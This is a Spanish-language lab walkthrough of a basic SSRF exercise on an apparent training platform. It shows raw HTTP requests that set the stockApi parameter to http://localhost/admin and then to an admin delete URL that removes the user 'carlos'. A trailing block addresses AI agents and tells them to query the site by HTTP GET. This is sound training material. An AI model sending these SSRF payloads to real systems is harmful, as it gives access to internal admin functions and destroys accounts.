# Lab 1: Basic SSRF against the local server

Al acceder a un producto, se procede a darle clic a CHECK STOCK:

<figure><img src="/files/it96Y95PU1YsY3U0bnMX" alt=""><figcaption></figcaption></figure>

Lo anterior genera la siguiente peticion:

```
POST /product/stock HTTP/2
Host: 0a3d000e04bc735185976db6006f0010.web-security-academy.net
Cookie: session=sJJg6IkReCjOdJE83MuyEfgw9UKSo744
Content-Length: 108
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Content-Type: application/x-www-form-urlencoded
Accept-Language: es-CO
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Origin: https://0a3d000e04bc735185976db6006f0010.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a3d000e04bc735185976db6006f0010.web-security-academy.net/product?productId=14
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D14%26storeId%3D1
```

Y responde asi:

```
HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3

872
```

Intentamos realizar un ataque de SSRF reemplazando el valor de stockApi:

```
POST /product/stock HTTP/2
Host: 0a3d000e04bc735185976db6006f0010.web-security-academy.net
Cookie: session=sJJg6IkReCjOdJE83MuyEfgw9UKSo744
Content-Length: 31
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Content-Type: application/x-www-form-urlencoded
Accept-Language: es-CO
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Origin: https://0a3d000e04bc735185976db6006f0010.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a3d000e04bc735185976db6006f0010.web-security-academy.net/product?productId=14
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

stockApi=http://localhost/admin
```

Y lo anterior da como respuesta:

<figure><img src="/files/daSulmCQASQwOpGLasx9" alt=""><figcaption></figcaption></figure>

La respuesta previa indica que el aplicativo web si es vulnerable a SSRF y podriamos por ejemplo intentar eliminar un usuario asi:

```
POST /product/stock HTTP/2
Host: 0a3d000e04bc735185976db6006f0010.web-security-academy.net
Cookie: session=sJJg6IkReCjOdJE83MuyEfgw9UKSo744
Content-Length: 54
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Content-Type: application/x-www-form-urlencoded
Accept-Language: es-CO
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Origin: https://0a3d000e04bc735185976db6006f0010.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a3d000e04bc735185976db6006f0010.web-security-academy.net/product?productId=14
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

stockApi=http://localhost/admin/delete?username=carlos
```

Al revisar la respuesta tendremos lo siguiente:

```
HTTP/2 302 Found
Location: /admin
Set-Cookie: session=mWs0sJitRQeWTssrE0TM9i0tRpFMRWEi; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0


```

Y si consumimos nuevamente la siguiente peticion:

```
POST /product/stock HTTP/2
Host: 0a3d000e04bc735185976db6006f0010.web-security-academy.net
Cookie: session=sJJg6IkReCjOdJE83MuyEfgw9UKSo744
Content-Length: 31
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Content-Type: application/x-www-form-urlencoded
Accept-Language: es-CO
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Origin: https://0a3d000e04bc735185976db6006f0010.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a3d000e04bc735185976db6006f0010.web-security-academy.net/product?productId=14
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

stockApi=http://localhost/admin
```

Se lograra apreciar que se elimino el usuario:

<figure><img src="/files/7H4O7yGaOTs630ODdeqM" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://books.spartan-cybersec.com/web/server-side-request-forgery-ssrf/lab-1-basic-ssrf-against-the-local-server.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.